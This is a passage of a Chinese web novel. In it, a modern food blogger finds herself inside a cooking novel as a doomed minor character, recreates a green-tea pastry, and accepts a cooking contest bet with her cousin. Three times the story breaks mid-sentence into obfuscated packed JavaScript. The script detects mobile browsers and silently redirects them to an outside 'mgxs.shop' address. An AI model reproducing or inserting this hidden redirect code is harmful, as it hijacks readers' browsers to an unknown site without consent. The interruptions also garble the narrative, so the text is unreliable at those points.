《手拿剧本开饭堂（美食）》 1. 绿茶饼（一） “这么多人的宴席上，也能睡得着？” 迷迷蒙蒙地，苏有青听到了一阵嗤笑声。 她想睁眼看看是什么情况，却在胡乱间被什么东西呛到了。 把东西咳出去后，苏有青眼前终于清明。她坐直了身，循声看到一个陌生男子，裹着一身长布就跑出来碍人眼了。 那男子瞟了眼地上，皱着眉继续说道：“草包就是草包，贪吃都能被呛到，真恶心。” 刚清醒的苏有青不知这人为何要站在自己面前，于是她有话说话道：“我认识你吗？” 没想到面前的人急了，又来了一串情绪激烈的言语：“装不认识？平时追在我屁股后面的不是你？我愿意搭理都是抬举你了！” 苏有青更莫名其妙了：“你鼻子上的玩意儿是摆设吗？丑东西还挺敢做梦的。” “你......你......” 来人好半会儿没憋出新的话，最后带着一阵红一阵白的脸色离开了。他身后的小厮也是始料不及，忙不迭跟着主子走了。 终于得了清净，苏有青端起案几上的茶水，顺了顺喉舌。方才不知道是什么堵在了口腔里。 一盏饮尽，她默默吐槽：“怎么又是普洱，不爱喝。” 等等。苏有青突然脑子一紧。 我今天泡的不是碧螺春吗？ 苏有青一向规划得当，每天的日程计划都能按时按量完成，也很少在记忆上出差错。 尤其是吃喝方面的记忆。 她正要翻找出平日里随身携带的日程本，却对着身上的直袖衫裙愣了眼。 再看向周围的宴席摆设，苏有青更迷茫了。 这造景，这排场，如果是沉浸式剧本杀，那票价可不低。 还没等苏有青倒推出时间线，又有个古风装扮的女子寻来了：“小姐小姐，我拿了盘新出炉的果子，快尝尝！” 见苏有青没说话，女子将盘子搁在案几上，腾出手来在她眼前挥舞了几下：“小姐？怎的不说话了？” 苏有青眨眨眼：“你是谁？” 女子被问懵了，但仍然老老实实地回答：“我是包菜啊小姐，怎么了？” 比苏有青的下一问先到的，是一阵剧烈的头疼。 她明明记得自己是在熬夜看小说，怎么再睁眼就换了天了。 看小说。想到这里，苏有青的头更痛了。 她突然有了一个大胆的猜测，遂小心翼翼地问身边人：“那我又是谁？” 包菜欲哭无泪，不知道自家小姐今天演的又是哪一出：“别逗我了小姐，您是京城苏家的二小姐啊。这里是张府办的春日宴，在为一旬后的新厨小试造势呢。” 苏有青老实了。 她也知道这是哪里了。 闭眼前她还在看这段剧情，想学做春日宴上的一道绿茶酥饼。 按书中描述，那酥饼是酥脆又香软，外圈又沾着白芝麻，和别的果子大有不同。 就跟女配的仆从端来的那盘似的。 苏有青长叹了一口气。 作为互联网时代的新锐美食博主，她最近推出了一个新的系列主题，复刻书中用文字描述的美食。 一开始，苏有青追着几本古典小说的节奏，根据菜名和书里提及的食材和口味，尝试做出成品。几个视频发出后，观众乐此不疲，在评论区点播其它想看的内容。 最近，观众朋友们热情地指向了一本美食文。 观众很期待她和这本书的联动，因为除去美食外，书中还有个女配。那角色的字和她的账号名称一致，都叫“有肴”。 看着后台众多的留言，苏有青乐了。何止字，她俩从姓到名都一模一样。 于是苏有青就顺着观众的指路，打开了这本书。 《御厨登高记》，一本最近小火的无cp小说，写的是女主从御厨做起，渐渐成为姬朝太子的得力之臣，最后助她登基的故事。 而女配苏有青则是女主的倒楣妹妹，出生御厨世家却怕火又怕油。她似乎少有优点，还在春日宴上被一口红果蒸糕噎死了。 现代人苏有青看得直摇头，不知道作者设置这样一个角色是图什么。 “我怀疑作者写她就是想给那个男配赋魅，显得多深情似的。生前天天嘴毒瞧不起人，死后倒是装上怀念了。”她跟闺蜜吐槽道。 苏有青还说：“如果我是她，先把那男的骂得狗血淋头，再趁机学会所有世家大族爱吃的菜，再学以致用，把‘有肴’做大做强。” 闺蜜乐半天：“赶紧的，把这本全文背诵，防止穿书了。” 苏有青也乐：“或者去查查作者是不是认识我。” 闺蜜怎么就一语成谶了。苏有青纷乱的情绪里夹杂了这么个念头。 “早知道真的会穿进来，我就直接看新帝登基的内容，再去抱女主的大腿了。”她嘟嘟囔囔地说。 包菜听到这蚊子哼的动静，歪头看向苏有青的脸色：“小姐说什么？” “哦，没什么。”苏有青语气有些麻木，“就是头有点疼。” 说话的余光里，她瞟到了桌上的酥饼，又欢欢喜喜地坐直了身： “这是绿茶饼吗？快给我尝尝。” 熬夜看书想要复刻的吃食就在眼前，苏有青也不急于分辨眼下境况了。 管它穿书还是做梦，来都来了，先吃饱再说。 万一下一秒又穿回去了，可不能白来一趟。她很是乐观。 苏有青咬开一口饼，看了眼饼中的层次，眼前一亮。 “有纸笔吗？”她问包菜。 包菜不知道小姐要做什么，但还是应下：“我去问问。” 这饼子茶香清新，牛乳味浓郁又不会太过抢睛。 本来依着原书的描述，苏有青还想不通，酥饼怎么能做到酥脆和香软共存。从咬开的蓬松层次来看，她有了新的猜测，许是店家混了猪油和黄油，用两种油一起和的面。 而饼铺别出心裁的秘方，或许就是别家没有的、从牛乳中炼出黄油的法子。 包菜已经寻了纸笔回来。她将案上的杯碟清到一侧，铺开一张麻纸，又递给苏有青一支笔。 苏有青比划了一下握笔姿势，才接过那支硬毫笔。 幸好以前学过国画。她暗暗想。 苏有青行云流水地写下自己的猜想。 两种动物油脂混合......饼胚不能太过湿软，起酥很多......内馅微甜，茶香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278926|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味为主......不宜烤制过火...... 记下几条后，苏有青顿笔，咂了咂嘴。 她还没品出原料用的茶粉是什么品种，只觉得和现代的抹茶粉有些许出入。 像是什么顶尖的嫩芽做的，或许是时代特供吧，她想。 苏有青对面的假山后，赵往挑了挑眉。 他本不意欲久留，只是难得见到方非吃瘪，一时高兴就多站了一会儿。 尤其是在苏有青那儿吃的瘪。 赵往听说过那个苏有青，御厨苏家的二小姐。 姬朝国库丰盈又无外患，百姓一向安乐。日子好过了，人们便注重吃喝，朝廷也不例外。 姬朝不乏对厨子的追捧，苏御厨更是担得起一句“高官”。生于御厨世家本是幸事，然而听闻那苏有青小姐却是个五谷不分的。 可惜了苏师傅，桃李满天下，自家结苦瓜。 还有人传闻，说苏二小姐很是爱慕方非。赵往听得有些质疑。 那方非又是个什么东西，蠢笨得很，政见一塌糊涂还嘴硬，总在朝堂上针对皇姐。 不过百闻不如一见，如今看来，那姑娘不似旁人说的那般笨拙，反而带着些伶俐。 见苏有青讨了纸笔又急着写些什么，赵往示意小厮去看两眼。 “机灵点。”他说。 另一头，苏有青一阵奋笔疾书。搁下笔后，她拿起那张草字，满意地点了点头。 “包菜包菜，等我们回去就找个烤，哦不对，窑炉，试试这个方子。”苏有青边说边拍身旁人的胳膊。 不等包菜回话，旁边一个男声先打了岔：“叨扰了，姑娘。不知您说的是不是这些糕饼的方子？” 怎么又有人来，苏有青有点不耐烦了。 她不答反问：“有何贵干？” 那人赔着笑：“是这样，我们家老人很喜欢这城西饼铺的糕点，平日里想买些回家备着，那铺子都不让多买。听说张府为了这次春日宴，找这个老板说了好久的好话呢。” 铺垫不少后，他终于切入了正题：“我们家主子瞧姑娘像是对方子了如指掌，便想来问上一问，也方便家里老人可以随时吃上。” 苏有青有些想笑。来人这话听着不像是为了家中老人，更像是城东南北的对头商铺家的。 但她不管生意人的事。于是苏有青无谓地说：“行啊。按我这方子做出来的酥饼绝对好吃，二两银子卖你。售出不退，不过看不懂的可以来找我。” 苏有青觉得自己相当良心。她记得书里写过，京城酒楼的一盘松鼠桂鱼便要一两银子了。 “这......”对方哽住了。 然而他四下里看了一圈，还是上下摸了摸兜，一脸肉痛地用几个银疙瘩换了一张纸走了。 苏有青掂了掂那几个物件，听着金属碰撞的声音轻笑。 嘿嘿，其实自己也不知道这是几两。不过刚来这姬朝就赚到钱了，也算是好兆头。苏有青想。 她抬头看了眼那人离开的方向，又转过来问包菜：“他是哪家铺子的老板？” 半天下来，包菜已经对自家小姐的言行见怪不怪了。她木然作答：“小姐，那是今上三皇子身边的石头。” 2. 绿茶饼（二） 苏有青呆滞地回了头。 她没看清走在小厮前头的那个人，只捕捉到了一片深紫色的衣角。那布料隐隐约约还反着光，像是金线织就出的什么花样。 哦，皇子啊。苏有青尴尬地抿紧了唇。 她记得这里的剧情，三皇子赵往嘛，当今圣上的唯一一个男皇子。 姬朝近来推崇性别平等。虽说过去少有男性能入仕，但足够优秀的男性也不会一直蒙尘。 可惜今上的前两个皇子实在优秀，所以赵往还没分到什么实权，如今只跟在二皇子身后出谋划策。 ......苏有青也记得自己的评价。 虽然三皇子没什么权力，但生得还算漂亮，又正值弱冠，所以依然是京城不少富贵侯爵二代的白月光。 苏有青不理解这种追捧。明明这人讲话一向冷冰冰，对贵子们的青睐也是视若无睹。有时姑娘们掷果不小心砸到他身上，他还会狠狠地瞪回去。 目若无人久了，京城里自然有人看他不惯。二皇子上位后，赵往倒也分得一个亲王位置。然而因为行事太过孤僻，他被不少大臣针对打压，最终落了个在亲王府里孤独终老的结局。二皇子为此伤心了好些天。 整个京城里，赵往最在乎的人就是二皇子，其次才是他的母皇。 这次春日宴也是。赵往并没有什么品菜或是赏花的闲心，只是想看看方非有什么诡计，以防他对二皇子不测。 哦，方非啊。苏有青又想起来了。 方家一向支持大皇子继承大统。因此，长期针对二皇子的方非算是赵往的政敌。 也是她方才骂走了的那个人。 也不知道这个方非图什么，明明平日里碰上原主就是一顿冷嘲热讽，等原主死后倒是装上了深情。后来混上个小官，他还找机会抄了张大人的家，美其名曰给原主报仇。 苏有青好无语，这书里怎么这么多神经配角。 现在已经不兴“欺负你就是喜欢你”那一套了。 想到这里，苏有青拍了拍自己的肩膀：“也算是帮你骂回去了。别再受气了，苏有肴。” 她很难用同一个的名字来称呼原主，看书时便是如此。 不过苏有青还是不太明白，堂堂一个皇子，买走自己连蒙带猜的方子做什么。 何止苏有青，赵往也不明白。 “你真是石头啊？”赵往难得体会到了“不可思议”这种情绪。 他明明只是让小厮去看一眼苏有青在写什么，怎么就直接买回来了。 石头嘿嘿一笑：“我当时犹豫着呢，只是看您表情像答应出钱，这才把方子买了回来。” 赵往懒得同他多说，接过纸张扫了几眼。 打眼一看，赵往更沉默了。 “伶俐”还是说早了。 民间传闻可能还是有些说道的。否则一个世家小姐，为何字写会成这般鬼画符？ 赵往细看后还发现，这小姐很是懒散，不少字都简化了笔画。 实在荒谬。他倒要看看这苏二小姐还有什么名堂。 “去。”赵往指使石头，“去跟这糕饼的厨子说，皇姐就要生辰了，我为了给皇姐准备宴席，需要他们的方子。” 这头，苏二小姐已经没空在意赵往要做些什么。 现下的疑惑太多，她一时根本顾不上皇子的事。胡乱逛了逛张府的花园，苏有青便喊上包菜想要回家。 她并未多多走动，但整个人还是累得发晕。 这半天里，苏有青先是带着现代人的记忆，突然出现在春日宴上。 然而她还没弄清眼前的状况，就被那成色与口感都为上乘的绿茶酥岔开了注意力。 再在这古风味十足的园林小径间穿行时，原主的记忆也渐渐恢复了。 一次性涌入的信息太多，苏有青还来不及消化。 好不容易上了马车，她想在靠在窗上小憩一会。然而苏有青忘了，宝马香车也不是现代宝马。 一路颠簸，那木制框架撞得她更头痛了。 脑浆都要摇匀了。苏有青已经不记得这是今天第几次叹气。 苏有青努力排空大脑，感觉捱了好久才听到包菜喊自己。 “到家了，二小姐。” 终于踩住实地，苏有青又望着门口的牌匾出了神。 她有些犹豫，不确定苏府有没有什么回家后先问安之类的规则。 “小姐，今天的授课还没结束，主君这会子还在厨下忙呢。我们先回小院吧。”包菜说。 “哦，好。”苏有青没太听清这串叽里咕噜的字眼，不过好像是解了她心中所惑，便匆匆应下。 她脚上跟着包菜的步伐，脑子里继续神游。 原主的记忆出现在苏有青的脑子里后，她终于确信，自己确实是穿了书。 苏有青还后知后觉，方才误把皇子当作商贾，胡乱说话又索要了银子，不知会不会有什么不好的影响。 说到底，这里是封建社会。苏有青决定老实做人，在找到回家的方法前，还是先按小说原剧情来。 苏有肴回府后干嘛了来着......苏有青试图回想剧情。 坏了。 原书里，苏府这会儿已经在挂灵幡了。 苏有青欲哭无泪。这还怎么走主线故事啊？ 依着原书剧情，苏有肴为了多看两眼方非，独自前往张府的春日宴，却意外身亡。而女主苏诣因此大受激励，奋发图强，立誓要多替妹妹活一份。再后来，苏诣进了宫，一路平步青云。 苏有青没招了，只想就地躺下睡一觉。 这能怎么办？总不能再找个大馒头噎死自己吧。 苏有青有一搭没一搭地乱想，直到包菜再次出了声。 包菜觉得今天的小姐好奇怪，许是累着了。现在回了院子，她赶忙说：“小姐快回房歇会儿，我去泡壶茶水来。” 苏有青闻言抬头，跨进了眼前的门槛。 她四下打量着。这院落不算小，进门后便有一棵遒劲的树，树下是一套石质小桌椅。院子的另一角是一方浅浅的水池。 进卧房前，苏有青还看到屋檐下摆着几盆小花。 还挺雅致。苏有青想。她本以为苏有肴是个“不受宠”的炮灰角色。 包菜不知道去哪里忙活了，苏有青便正好独自在屋子里转悠，理理思绪。 她估摸现在大约是三四点的功夫，外面日头西斜，房间里已经不怎么亮堂了。 不过东西看着都挺精致。苏有青拎起圆桌边垂下来的布料。针脚细密，花纹别致，颜色鲜艳却不俗气，一摸便知是好东西。 她又往屋子里走了几步，看到床架上挂着层层叠叠的纱幔。到处都是精心搭配的陈列。 苏有青拂过身侧那几个深红色的木柜，又抬手看了眼掌心。 苏有青想，这里明明是一个确切存在的世界。屋子里随处可见生活的痕迹，甚至每个物件都可能有只属于自己的故事。 那它们会知道主子的突然死亡吗。 还是根本没料到“苏有青”还活着？ 苏有青想不出来这地方究竟存在于哪个维度，最后越想越生气。 太过分了吧！穿书都不能给自己配个系统？搞得现在只能抓瞎。 但如果过程全错、答案却仍然是对的，是不是也算解了题？苏有青默默盘算着。 她记得原书结局，二皇子登基，苏诣官拜丞相，最后阖家团圆包饺子。既然人人圆满，那自己也该被圆满地送回家的。 苏有青越想越觉得有道理。接下来，她想点办法推进苏诣的剧情线，或许也能脱离这个世界的。 再一转身，苏有青看到了案几上摆着几册书，便走过去翻看了几眼。 幸好幸好，这个架空时代里也是读李清照的，自己不至于太脱节。她暗自窃喜。真是感谢作者，叫“奋矫”还是什么来着，没给这里的书册设置成竹简和篆书。 包菜端着茶水回来时，苏有青正趁热打铁，再次把卖出的配方记到纸上。有了写前一份方子的思路，这一次，苏有青的逻辑更清晰了。 她是看到砚台里未干的墨迹想到这一茬的。苏有青平日里便是如此，脑子一乱就开始想象创意菜品。等到梳理出菜谱时，她的脑袋也就理清了。 然而包菜看到的，却是苏二小姐姿势诡异地趴在案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278927|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几上。 “小姐，可不能睡在这里呀。”她赶忙放下茶壶跑过来。 苏有青看清来人，无所谓地笑了笑：“没事，只是这样写字比较畅快。” “噢......”包菜站到了身侧。虽然小姐今天说了不少怪话，但笑起来还是和往常一样灿烂。 搁下笔，苏有青信心满满地问包菜：“最近京城里有什么时兴趣事吗？” 包菜想了想：“坊间趣事似乎没有。大家这阵子都在专心准备几天后的新厨小试呢。” 听起来像厨子的事......等一下？ 苏有青头脑还没清明多久，这下又是眼前一黑。 新厨小试。她看书时没记住这个名字，所以一下子没能反应过来。 当时光顾着对评论区的“厨王争霸赛”笑去了。 “新厨小试”是苏府承办的比赛，三年一度，旨在挑选出厨艺精良的新人厨师，还要求参赛人不超过二十岁。 姬朝本来就注重饮食，厨子走到哪儿都会被高看一眼。再加上苏家的影响力，大伙儿都盼着今春的新厨小试。 如果新人想入行，这比赛绝对是初出茅庐者的最优选。除去能在人前露个脸，新厨小试的头筹还能直接进宫上任。听闻上一届的榜首已经快换去御前做事了。 但因着苏有青的死，苏府取消了这一年的比赛，延期到了次年。说来也巧，有个实力颇佳的选手卡在了二十岁，等到第二年时，她已经超过参赛年龄了。 少了一个有力的竞争对手，苏诣意料之中地独占鳌头，也因此顺利进宫。 现在这剧情，想拨乱反正都不知从何处下手。苏有青已经麻木到面无表情了。 但人总得动起来。无法，她只好走一步看一步，见招拆招。 苏有青很快就想到了这个“第一步”。她起身唤包菜：“走，我们去灶房转两圈。” 虽然《御厨登高记》里已经多次描述，姬朝上下都钟情于美食，但苏有青还是觉得眼见的更为真切。刚好她也去看看这里都有什么食材。 这就叫职业素养。苏有青暗自得意地想到。 苏有青和包菜到时，灶房里正热火朝天地忙着。一进门就看到三两排大锅灶，苏有青挑了挑眉。 这种锅灶，她以前在农庄里体验过。确实和听来的说法一致，烧柴火的大灶炖出来的肉菜格外香。苏有青回家后还心心念念了好久，可惜自家的小厨房也没那砌灶台的条件。 不过眼前灶台虽多，也不全是热的。苏有青环视一圈，发现这里的热闹声都来自同一个锅台前。那边被围得满满当当，连中间人的影子都看不到，只能从一堆附和声中隐约分出一个有力的女声。 苏有青估摸着，这女声应当就是苏火阳了。 苏家实力相当，这么多年来，“苏御厨”都成了几代相传的名号。如今的苏御厨是苏有青和苏诣的娘，苏火阳苏师傅。 苏家人的灶台功夫过硬，名头自然也大。应着姬朝的发展和百姓们的需求，苏家开设的厨艺班也快百年了。 虽然这几十年间一直开办教学，但轮到苏火阳授课时，上门的学生竟翻了番。 苏火阳很是谦虚，说现在日子过好了，大家便有来学做菜的心思，凑巧赶上才显得是她苏火阳的功劳。 实际上，她的教学风格和祖辈大有不同。苏火阳很少教花样菜品，只是让学生们重复做那几道简单易上手的家常菜。 家常菜做得过关，她才肯正式收作徒儿，再教宫里时兴的菜色。 苏火阳对于做菜有一套自己的理念。她总爱在挥动锅铲时念叨，人们怎么对待饮食，便是怎么对待生活；有些人甚至能从中看出为人处世的态度，这便叫民以食为天。 苏有青看书看到这里的说法时一愣一愣的。她觉得这话有些夸张，比如自己就只是单纯爱吃，从而爱研究做法。 不过这听起来仿佛能算作是夸自己，苏有青还是受用。 苏有青猜测，那边的人群里应当是苏火阳，便要过去看看。 但苏有青今天多少有点诸事不顺。 “哟，来膳房了？稀客啊。”原来这门边还站着一个人。 3. 红烧鱼 苏有青从苏有肴的记忆里翻出了这张脸，好像是什么亲戚哥哥。 她察觉这人腔调阴阳，一时没作声。 然而这个表哥越说越起劲：“听说今天在张家，你还出言训斥了方非？真是难得，怕是天上要落红雨了。” 苏有青连白眼都懒得赏给这人。 这才多短点功夫，传的话都传进灶台间了。长舌夫平日里吃点自己的唾沫充饥得了，少浪费粮食。 不过说起方非，她倒是有了新的疑惑。 作为读者时，苏有青非常讨厌苏有肴和方非的暗线。 书里写到，苏二小姐初次尝试做菜，炒出来一盘土豆丝饼。当时家中无人，她便带着这张饼上街，随机逮到了路人方非。 方非尝后，大肆讽刺，年岁尚幼的二小姐却没听懂，误将阴阳话当作夸赞。她认定方非是个好人，便常常跟在方非身后。而方非回家后上吐下泻，从此见到苏有青就没个好话。 但在苏有肴的记忆里，她是事后听到娘亲说“家中那发了青的土豆怎么不见了？可别叫人吃了坏肚子。”才察觉出不对。出于愧疚之心，苏有肴时时哄着方非。虽然对方总不给好脸，但她也不好骂回去。 先不论两种故事为何有出入，这么看来，那方非也不完全是找事的那个。 不过苏有青并不准备替苏有肴继续担着这份愧疚。事情过去了这么久，人也换了芯子，从此桥归桥路归路便好。 但眼前这个劳什子表哥是真的爱挑衅。 苏有青不想理会这人。她吸吸鼻子，顺着香气看向男人占着的锅里。 应当是份收汁程度正合适的红烧鱼，酱香浓郁，上面撒着一把蒜叶。也不知姬朝用的是什么酱料。 她悄声跟身边的包菜说：“红烧鱼应该放几个青椒一起煮，特别鲜。” 表哥却不想放过苏有青的耳朵。他喋喋不休道：“你说花椒？烧鸡放花椒才香，苏师傅教的搭配都被你吃进肚子里了吗？” 苏有青一脸无语地看向男人。 她一开始不想理睬这人并非好脾气，只是不确定苏有肴的性格，便想收着点，防止被身边人追问性情大变的原因。 但苏有青万万受不了被质疑厨艺，憋不住张了嘴。 或许是姬朝还没有青椒，她硬声硬气地说：“你听错了，我是说豆腐。” 结果表哥的嘲笑更是不藏了：“又胡说上了。这是鳊鱼，如何炖豆腐？又不是鲫鱼。” 苏有青又吸吸鼻子，也假笑回去：“不像鳊鱼，像是糊鱼。” 一来一回的几句话里，苏有青期待的火候终于到了。 “哎呦！”表哥匆匆忙忙地拿锅铲。装盘时一个没注意，酱汁溅到了月白色的衣裙上，剩下的汤汁也从喷香粘稠的液体凝成了鱼皮上的一块黑色。 苏有青早就拉着包菜后撤了好几步，生怕那鱼殃及锅边人。 “有青怎么跑这里来了？害我一顿好找。”然而她的脚步被一声清脆拦住了。 苏有青回头，看到一个身着青黄色衣服的女子，身后的仆人还拎着个食盒。 苏有青眨眨眼：“姐姐。” 她还没反应过来这是女主苏诣时，下意识的招呼声就已经脱口而出。 看来姐妹俩关系还挺好。苏有青想。 屋子里传出一阵欢呼声后，人群两两三三地出来了。苏诣拉着苏有青往里走了几步。 “快尝尝，我今天下午做的鱼。一出锅就端着去找你了呢，可惜不知道你来了灶房，不知道这一来一回的有没有凉。”苏诣指使仆人将盘子端出来，自己又给苏有青递上筷子。 下了课的苏火阳看到姐妹俩缩在角落里，刚走过来就听到这么一句。 她乐呵呵地说：“是呢，娘都没这个口福。” “娘......”苏有青愣愣地接过筷子，视线都聚在苏火阳的脸上。 苏火阳和自己亲妈简直是一个模子里刻出来的。 其实苏有青已经很久没见过亲妈了。 她曾经大病一场。那次高烧并没有失忆的迹象，可在醒来后，她对童年的回忆越来越淡。 她想不起自己是怎么长大的，关于妈妈也没找到联系方式，只有手边的一张照片和记忆里的脸重合了。 幸好银行卡里还有充足的余额，虽然也不记得是谁留下的了。 身体恢复后，苏有青生怕再次体验一片空白的大脑，便养成了计划和记录日程的习惯。可能确实是好记性不如烂笔头，后来，她很少再有忘记的事。 见自己一来苏有青便愣了神，苏火阳赶忙催促：“快吃呀，凉了就不好吃了。鱼又不在我脸上。” “就是就是，快夹鱼肚吃。”苏诣也附和。 苏有青搛起一块鱼腹肉，蘸了蘸底下的汤汁。 鱼肉香软入味又不柴，想来是火候时间正正好。煎得酥脆的鱼皮再在红烧汤里泡煮，更是吸汁。鲜灵得很，也完全不腥。 苏有青吃得相当满足：“还是热的呢。好吃好吃，我都想配碗米饭一起吃了。” 苏火阳笑道：“就你最会吃。我也来尝尝。” 她也抽了双筷子，直接用筷子头沾汁试个味。 苏火阳咂咂嘴：“嗯，确实不错，又比上次进步了。这次是减了麻椒糊的量，多加了些黄豆酱吧？” 苏诣比起大拇指：“还得是娘的舌头。” 苏火阳按下了苏诣的拇指，道：“后生可畏咯。你现在这个水平，往谦虚了说，小试的前两名是绝对没有问题的。” 苏诣“嘿嘿”两声，也不多推辞。 见正聊到小试，苏有青见缝插针：“对了娘，我也想参加这次的新厨小试。” 她已想过，自己也参加小试，或许能在比赛中帮衬苏诣。万一成了冠军，她也能推辞不进宫，把机会留给姐姐。 听到苏有青的话，苏诣很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278928|198329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是惊喜：“有青，你终于想试试了？怪不得今天来灶房了呢。” 苏火阳想了想，说：“日子是紧了点，不过有我做主，多个参赛名额肯定没问题的。但会不会太突然了？咱们不急着比试，可以先慢慢学的。” 这么一说，苏诣也想起来了：“是啊有青。虽然平时看做菜和品菜也能融会贯通，但你挺久没上手，万一手生烫着了......” 苏火阳和苏诣各有喜悦和担忧。 苏有青也是趁机接过的话，还没想好整套的说辞。她正想着哄娘亲和姐姐的话，旁边的表哥又在插嘴。 他活像是用鼻孔说的话，每个字都是用气挤出来的：“你？参加新厨小试？” 苏有青真是烦透了，没想到母女三人凑一起聊天还有人旁听。 她毫不客气道：“你怎么还没走？没看这里就你一个外人吗？” 表哥一心顾着嘲笑，说出来的话是驴头不对马嘴：“怎么，这下怕被人听到这般雌心壮志了？怕丢脸就别参赛，免得惹更多人笑。” 苏有青是真的觉得好笑：“你是怕自己的排名又降一位，丢了大脸，才拦着不让我参加吧。” 表哥上下打量着苏有青，撇撇嘴道：“也就仗着自己姓苏，才能腆着脸突然加塞进来。” 苏有青还没说话，苏诣先炸了：“你什么意思！有青她......” 然而苏诣被一旁的苏火阳按熄了火。 苏诣的眼里满是疑惑。娘亲这是何意，明明是表哥说话太过。 苏火阳悄声说：“让有青自己来。” 苏有青倒没什么火气。她悠哉哉地打量回去：“噢，原来你只是恨自己不姓苏啊。” 表哥被激得大怒：“姓甚又如何，厨艺凭的是真本事！既如此，你敢不敢与我比试一场？就在这新厨小试上。” 苏有青也学他，用鼻孔看人：“行啊。” 表哥气得快冒火。他又转向苏火阳，道：“先说好，姨母可莫要偏袒表妹！” 这下轮到苏火阳莫名其妙了。这孩子今天怎么逮谁咬谁。 苏火阳一脸诧异，甚至没顾上说话。 然而表哥已然吃下两斤炸药：“您这是什么表情？我就知道，您就是一直瞧不起我是个男子！” 苏火阳与苏诣面面相觑，好在苏有青及时打断了两人的茫然。 她问表哥：“既然已经定下了这场比拼，那输赢的结果怎么算？” “自然是按新厨小试的排名论先后，公平公正。谅你年纪小，定也是比不过我的。待你输了，就规规矩矩地给我奉个茶服软吧。”表哥不屑地说。 “这怎么成！”规矩如苏诣发出一声惊呼，“女子给男子奉茶有辱尊严，这可是姬朝自古以来的传统啊。” 苏有青却拉住了苏诣：“无妨。” 她又转向表哥，面无表情道：“可以。但如若是你输了，我要你去猪槽里睡一晚。” 4. 烤包子（一） 听到这话，表哥紧皱的眉头下是一片精彩的脸色：“怎说得出这种......这种粗鄙之语！” 苏有青不以为意：“表哥是接受不了这个赌约吗？那你现下反悔也行，我不与小男子斤斤计较的。” 人争一口气，佛争一炷香。表哥袖子一挥，扔下一句“就这么说定了”。 说罢，他匆匆和苏火阳告别：“姨母回见。” 不等苏火阳回应，表哥便转头离开了。 见人已走远，苏火阳总算有了感慨的气口：“虽说他性子是不太好，但平日里人也并不坏。今日是怎么了，说话像吃了炮仗一般。” 苏有青倒是有一个猜测。她状似困惑地说：“或许是被我瞧见他烧糊了锅，自觉丢人，所以有些......愤懑？” 苏有青说到后半句时有些犹豫。不过她并非是在思索含蓄些的语句，而是在苦恼古人用什么词来形容破防。 见苏火阳和苏诣隐隐发笑的表情，苏有青补充道：“但我真没想嘲笑他。我只是来灶房转转，无意间看到的。” 这下子，苏诣彻底憋不住，直接笑出了声。 母女三人笑作一团后，苏诣想起来了正题。 她端正了脸色，看向苏有青道：“妹妹，你是真对那灶台起了兴趣想要参赛，还是被旁人激将后才做的决定？” 苏有青听明白了苏诣的意思，但她有一肚子的道理和自信：“都可以是，左右都是我自己的想法。对做菜有兴趣而参赛会很痛快，能赢下瞧不起我的人也很痛快。” 苏火阳笑着接话：“左右你总有你的想法。” 苏火阳行事迅速，次日就知会了其她几位御厨。她在参赛名册里正式加上了苏有青的名字，这事便算是敲定了。 接下来的几天里，苏有青除了往厨间跑，便是去街上四处闲逛。 当然不是真的闲逛。苏有青沿着街市一路走，逐个摊子看过去，想知道姬朝现下都有哪些瓜果蔬菜。 她刚钻进一个菜摊，卖菜大娘就热情招呼道：“姑娘想买些什么？都是今早现摘的菜，绝对新鲜好吃。” 苏有青闻到了一股浓郁抢眼的香气。她一边眼神在众多蔬菜里寻觅，一边问大娘：“是有韭菜吗？” 大娘闻声拿起来一把绿色：“这里呢。这韭菜可嫩了，别看长得大，一点都不老，不好吃你找我。” 苏有青看过去，差点以为是自己不识韭菜了。那韭菜叶可比现代的叶片大得多。 见大娘已经抓起来了一把，苏有青干脆买下了那扎韭菜，又换个摊位继续看。 不比蔬菜，这个摊位上有一堆苏有青不认识的东西。她只能从堆得高高的花椒和生姜中推测，其它篮子里装着的也是调味用的东西。 “这是梅子吗？”看到后面的篮子里装着果脯，苏有青发觉自己没猜对。 “是呢，这梅子够酸，放一两颗就足味了。”见苏有青好像不熟悉这些料物，摊主一一介绍过去：“这是酸梅，这是豆豉......还有这胡椒，可是西域商人带来的。” 摊主一脸骄傲地说：“我们家的货可全乎了，和西域人也是多年走动的关系。西域人还说下次会带糖来，只供给我们家。那可是十足的稀罕货。” 逐个看过去，苏有青指着一筐深色小果发问：“这是什么？” 店家失笑：“姑娘平日是爱吃清淡口味吗，怎的茱萸都不认识。” 苏有青恍然大悟：“原来这就是茱萸。以前只听说过，没见过。” 果子里还混着枝叶。摊主扯下一片叶子递给苏有青：“姑娘尝尝。” 